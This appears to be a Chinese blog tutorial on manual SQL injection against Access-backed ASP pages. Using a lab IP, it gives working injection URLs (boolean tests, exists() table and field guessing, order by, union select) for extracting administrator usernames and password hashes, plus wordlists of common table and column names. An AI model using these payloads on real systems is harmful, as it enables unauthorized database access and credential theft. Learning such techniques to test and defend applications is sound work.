先说一下SQL注入的概念,这里引用百度上的解释:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

  ACCESS手工注入一般步骤:

1.判断注入点(http://192.168.80.X/shownews.asp?id=12(自己编的))

观察URL中是否存在"?id=12"(这只是个例子,其实就是看URL里有没有参数传递的语句)

进一步测试这是不是一个注入点,在URL后面附加一个“and 1=1”,刷新网页,然后把“and 1=1”换成"and 1=2",再次刷新网页,如果第一次刷新网页没有变化但第二次刷新网页发生变化则说明这是一个注入点

 

2.判断表名

知道这里是一个注入点之后就要进一步猜我们所需要的数据库表名了,一般做渗透肯定对管理员的账号密码是最感兴趣的,拿这个举例,我们想知道数据库中哪个表是存放这些信息的,根据经验来说,一般表名会为admin,manage,user,manage_user什么的

然后测试一下:

用exists()函数判断是否存在一个名为manage的表

http://192.168.80.X/shownews.asp?id=12 and exists(select * from manage)

执行之后网页没变化,说明这个表存在

 

3.判断字段名

和上一个步骤差不多,只不过把字段查询精确到用户名和密码上

http://192.168.80.X/shownews.asp?id=12 and exists(select username,password from manage)

执行之后网页没变化,说明这两个字段存在

 

4.爆出字段内容

a.在已经确定存放用户名和密码的位置的情况下,就要想办法获得用户名和密码具体数值了,这里就要用到上篇文章说过的联合查询了,但是要进行联合查询必须满足的条件是两个表字段数相同,所以我们先要判断字段数多少,我们可以用order by来判断:

http://192.168.80.X/shownews.asp?id=12 order by Y(Y为我们猜的字段数,我们可以通过二分法,从大往小猜)

 

b.当我们确定字段数之后我们就可以使用联合查询了(假如字段数是6):

http://192.168.80.X/shownews.asp?id=12 union select 1,2,3,4,5,6 from manage

做完这步之后,可能会发现,123456这串数字中网页中只有两到三个数字显示出来了,这个时候我们就可以把相应的数字换成username和password,那么用户名和密码对应的值就会爆出来了

 

d.一般我们得到的密码的值都是经过加密的,大多数都是MD5加密算法, 所以还需要我们用其他工具对密码进行解密

 

  这就是我总结的大致ACCESS手工注入过程,手工注入ACCESS还是主要靠猜的,表名字段名什么的凭经验,我这里也总结一些常用的:

常见表名:

  admin  user  adminuser  manage  manager  manage_user

常见字段名:

账号:name  username  user_name  admin  adminuser  admin_user  admin_usename  adminname

密码:password  pass  usepass  user_pass  pwd  userpwd  adminpwd  admin_pwd

  如果网站开发者把管理员用户名和密码字段名弄得很变态,那属实不好猜,我们可以用一些现成的SQL注入工具,网上一搜有很多,我这里就不说了,当然我个人认为,不要一味依赖工具,还是要学一下手工注入,掌握原理,还是有好处的